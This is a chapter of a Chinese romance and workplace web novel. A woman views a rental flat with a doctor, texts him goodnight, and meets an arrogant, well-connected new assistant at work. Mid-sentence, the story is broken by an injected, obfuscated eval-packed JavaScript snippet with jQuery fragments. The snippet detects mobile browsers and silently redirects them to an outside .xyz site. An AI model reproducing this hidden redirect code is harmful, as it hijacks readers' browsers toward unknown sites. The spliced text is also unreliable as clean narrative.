孟商所言非虚,也没有别的醉翁之意,真是领着姜若淇来看房的。
周末下午,开车往远离市中心的方向倒不算堵。约摸半小时,孟商把车停在了个高层小区门口。
门卫跟他很是熟稔,抬杆放行,一句多余的话都没多问。
从地下车库直接刷卡上楼,待租的房子是孟商其他科室朋友的,当初买下是为了当婚房用。
只是近两年感情不顺,年中和妻子离了婚,他想就趁重回单身,安排去北美研学进修一段时间。
毕竟不确定未来发展,又不是特别急着用钱,对方暂时不打算卖房。但为了补贴汇率花销,就想找个合适的房客长租出去。
孟商是突发奇想,临时联系的同事。多亏了伟大的智能锁,人在北美的凌晨还给他俩开了门。
就是这个恐怖的睡眠时间,让姜若淇对医学之苦,有了切实体会。
不过抛开旁的,姜若淇确实挺喜欢这套房子。
12楼的中层位置还是两室一厅,朝南的客厅望出去是小区中央的水系和绿化。楼与楼之间的间距宽裕,不会出现房子贴着房子,推开窗就能看到对面楼住户在做什么的窘迫。
附近买菜购物也算方便,不过姜若淇不打算自己开火,暗地里搜索了一下附近的外卖,只觉得以食物的丰富度和几乎能被忽略的配送费,绝对饿不着她。
而且巧的是……
孟商家也在这个小区,同一栋楼,正下方的位置。姜若淇趁机打探两句,就听说还有好些年的贷款要还。
真是个悲伤故事。
一通折腾,天色将晚。
孟商侧过身小小打了个哈欠,姜若淇看在眼里,也不好再拿讨茶当借口,再真的登堂入室。
更何况她摸不透孟商的变化,也不敢大咧咧就全盘交付信任。于是婉拒了孟商送她回去的提议,只让他好好睡觉,顺便替再她留着房子,三天内自己一定会给答复。
姜若淇在等,等的不是中介哪儿更好的房源,而是远在港城Ada的消息。
从小区出来,步行五百米就是地铁站。姜若淇想趁着自己还算空闲,探探地铁通勤的时长和路线。于是一冲动,转眼就站上了傍晚吵嚷拥挤的地铁车厢。
一线城市的公共交通是真的很离谱,周末傍晚居然还是人挤着人,寻觅不到座位。
也是因为人多,地铁车厢内的空气浑浊,缺少新鲜空气。而人多缺氧的直接感受,便是头昏脑涨想要睡觉。
姜若淇被睡意侵扰,强打起精神去听到站播报。可惜双语报站根据固定间隔响起,落在她耳朵里成了一串不知所谓的音调字符,而头顶暖黄色的灯光则有种和夕阳一般的无力。
姜若淇拿脑袋抵住扶手栏杆,稳定住身形,只觉得骤然燥热。低头细看才发现,居然把孟商的围巾给带走了。
在姜若淇的概念里,围巾算很贴身的私人物品。
她犹豫片刻,伸手撩起一边,凑到鼻尖,有一股极淡的消毒水味。
是凛冽的,对于医生刻板的印象。
可她觉得这才更像孟商,她记忆里的孟商。
地铁到站停稳,姜若正因长时间站立,忍受起腰疼的作祟。此时更是因为惯性,踉跄了一下。
她伸手拉紧栏杆,拿起手机看时间。这才发现锁屏上出现了另一个绿色软件的消息提示,来自港城更常用的通讯软件WhatsApp。
消息等来了,却不是姜若淇期待的。
Ada说苏衍声去对岸出差,最早得周日晚上才能回来。不过事情她替姜若淇留心,保证不会把好姐妹推进火坑。
姜若淇难得叹气。
叹气是为了疏解郁结,而郁结的原因很大程度是因为站了40分钟腰疼难忍,并不是因为孟商。
姜若淇是这么说服自己的。
扫码出站,从一种昏暗走向另一种昏暗。
扑面而来的冷风吹得姜若淇一激灵,她把围巾拢紧。她盘算着40分钟的通勤时长现在是可以接受,但要是到了工作日早高峰,就怕会成为恐怖故事的现实登陆版。
为了自己的腰,姜若淇决定等改天得空就去问问换领驾照的事,得给自己搞辆车用。
而此刻同时,孟商正靠坐在床上,门外隐隐约约传出动静,不响却搅扰得他毫无睡意。
他不时拿起床头的手机,盘算地铁班次间隔,几乎是掐着时间点,给姜若淇发了消息。
〔孟商〕:到酒店了吗?
人是他带过来的,她初来乍到,没能亲自送回去,心里总有些不安。
孟商同样拿借口说服自己。
对面倒是没一会儿便回复。
〔Seven〕:刚到酒店楼下,感觉脑袋要被冷风削掉了,多亏了孟医生的围巾。看来他被我不小心带走是有原因的,为了就我一命,所以只能下次再物归原主了。
〔Seven〕:不过孟医生还不睡吗?被迫“加班”,这都不止24小时了。
孟商看着瞬间被文字铺满的屏幕,不觉露出些笑意。她给他的感觉,好像从来都没什么烦心事。
换恭维吹捧的话来说,好像麻烦都能被尽在掌握,所以才显得不会被困住、被烦扰。
〔孟商〕:准备睡了。
〔Seven〕:那正好。天暗了,这个时间点正合适说晚安。
〔Seven〕:孟医生晚安啦~
孟商正在回复,身侧床位忽然一沉,手肘被个毛茸茸的东西撞了一下。
房间内没开主灯,只有床头亮着光线颤颤巍巍的小夜灯。借着依稀的光,可以看清孟商手边,是一只被养得圆滚滚的金渐层。
像个大号猕猴桃似的小猫不满地在孟商身旁趴下,转身翻出肚皮,试图吸引主人的视线。
只可惜媚眼抛给瞎子看,主人正全神贯注,对着手机回复着消息。
〔孟商〕:晚安。
〔孟商〕:希望打吊瓶都是冰美式的姜小姐,你也是。
收到信息姜若淇笑了笑,刷房卡按电梯,没有再回复。
这个周末是姜总面对高压工作前,最后的放纵期。
可惜周六忙活一天,等到周日她睡醒时,就又到了午后。对付上今天的第一餐,再和港城的朋友们煲一下电话粥,天色就又暗了。
姜若淇常有这个感觉,周末对她而言,好像只是睡了个觉,什么也没做就糊里糊涂地过去了。
而紧接着的是万恶的周一。
一想到工作,姜若淇焦虑得直想叹气。低度的酒精麻痹不了神经,她躺在床上脑子里会自动出现各种策划,然后久久不能入眠。
晚上睡不着,白天睡不醒。
可新官上任的姜总不能摆烂。
她还要做那个更万恶的空降领导,在周一的大早,去找齐部门内所有负责同事,大家一起开个折磨彼此的会议。
冬日渐深,体感偏凉。
姜若淇不敢在新海的天气面前逞英雄。穿了身杏色荡领羊绒毛衣,把身前下次扎进黑色高腰西装裤里,外头则是件中长款的双排扣高领大衣。
也就是姜若淇人瘦,层层叠叠的衣服穿上,还能看出几分窈窕的身形来。
这一通打扮错过了预留的早餐时间,得亏酒店离公司近,不然到岗第二周她就铁定得迟到。
思及此,姜若淇还小小惋惜了一下,住远以后自己的睡眠时间。
走出酒店大门,天空高悬的太阳像是冰箱里的灯,只见光亮不见热。
而高层楼下的风还是一如既往推着人走,姜若淇按下自己随风凌乱的长卷发,甚至有一瞬想下个热美式,以抢救自己的体感温度。
想是这么想,没能实操。
咖啡店预计排队时间40分钟,而她快来不及了。
跟着同样踩点的各公司白领精英们挤上电梯,到自己楼层扫脸打卡。姜若淇还在估摸哪个时间点去下单咖啡,一抬头却发现HR的总经理竟一早在市场部附近等着她了。
真是稀奇。
这人也就领她上楼见大领导的时候露了面,剩下的入职手续都是Ivy带她完成的。所以这会儿是什么妖风,把她一大早吹这儿来的?
“姜总,你来得正好。”
HR总经理Annie是个四十出头的中年女人,穿着刻板的衬衫西装,见姜若淇迎面走来,很是自来熟地挽了上去。
姜若淇礼貌性假笑,暗自腹诽“来得正好”这句话是几个意思,她这个点不来上班,等着迟到扣工资吗。
“别客气,叫我Sev
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584899|171689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
en就好。”姜若淇换了一只手去提包,依旧做作地疑惑问道,“找我是有什么急事吗?”
“没什么,给你配的助理今天到,我带你去认认脸。”
姜若淇闻言,视线余光扫过人事经理,狐狸眼微眯了眯。
她可真的差点就要问出口,谁是领导谁是助理。HR的总经理混迹职场这么多年,怎么才这个水平。让部门总监去认助理的脸,听上去着实离谱。
办公区中央供暖,里空调开得暖和。姜若淇裹着厚重的大衣只那么一会儿,便感觉到唇边发干。
她舔舐犊情深下唇边缘,冷静下来琢磨,也算觉出味儿来。
惊动HR的老大,还劳她本人去认脸。看来她的这位助理,百分百是个身份不一般的关系户。
不过是谁的人呢?
姜若淇视线扫过人事经理,是她?还是CEO李瑞林?
她按下不悦,示意HR负责人带路:“走吧,去看看。正好,我也缺人用呢。”
走入市场部办公区,瞌睡没醒的同事们和姜若淇打了一路招呼。她还认不清脸,通通微笑应下,直到走向靠近她办公室的闲置工位才安静下来。
她办公室靠外有不少闲置工位,一直没用,所以只有她眼前得两张桌子是真的空置,靠近外侧的则堆放起杂物,打板的各种宣传物料,还有成堆的打印纸。
形式上看像条楚河汉界,把领导单独隔离在小房间。不过姜若淇挺享受距离感,办公室都是透明玻璃,从外向里跟和看猴似的。
至于这会儿,纵使有了心理准备,姜若淇还是忍不住双手抄兜,仔细打量了一番。
HR的老大在她身旁欲言又止。
姜若淇抢先一步,拧眉先问:“这是…助理?”
言下之意,眼前是分明想骑她头上当少爷。
二十出头的青年人,半阖着眼眸,双腿交叠架在空荡的办公桌上,整个人几乎躺进可旋转椅里。
厚重的羽绒服扔在桌上,身上穿的是休闲款白衬衫和深色西裤。这姿势显得脚上蹬的鞋极为惹眼,意大利名牌牌郎丹泽的手工皮鞋,普通小牛皮款就要五位数起。
这搭配看上去…不伦不类的。
像极了AI随机抓去,东拼西凑生成了一套敷衍人的职场装扮。
不过郎丹泽这个牌子在内地过港城,都没开设过专柜,要定做得去国外门店。所以姜若淇上一次看到有人穿这个牌子,还是在她那位秃头老板身上。
所以显然,这位关系户不见得是CEO安排来的。以这个消费标准,可能CEO本人都未必会大咧咧穿这个价位的鞋上班。
“这位是……”
“你就是我未来的,直属领导?”
人事经理刚张嘴,过分叛逆的小助理忽然放下长腿起身。一双懒散的桃花眼,从下往上仔细打量了一通姜若淇。
视线轻慢,看不出分毫的尊重。
“看上去年纪不大啊。坐这个位置,是靠谱的吗?”
“他办入职了吗?”姜若淇没搭理他,扭头问人事。
人事经理也没想到上来就是这种氛围,怪她没来得及和姜若淇通气,偏偏两头又都不好得罪,于是讪笑着想打圆场:“已经办好了。我介绍一下……”
“不介绍也行。”姜若淇微笑,“办过入职就是公司员工,是什么身份,还是跟着谁都不重要,懂服从安排就行。”
那人闻言挑眉,倒是没立刻出声反驳,反而饶有兴致重新打量起姜若淇来。
姜若淇不矮,但穿上高跟也只是刚过那人肩膀,目测至少一米八以上。这个身高也有不好,就譬如他连打量,也得先一步低头。
“你叫什么名字。”姜若淇语气淡淡,不管他是谁,总得先有个称呼。
那人没有犹豫,倒也真回:“我姓段,段谨辰。”
强调姓段,不仅和秃头老板撞鞋,连姓氏也撞上了。
姜若淇觉得自己右眼皮突突直跳,几乎可以预见接下来准没好事。
果不其然,人事经理趁双方沉默,终于逮到机会开口。
“大家都第一次见,还是介绍一下吧。Seven啊,这位是我们集团长驻内地的二少Owen。”
“从今天开始,会是你的个人助理。”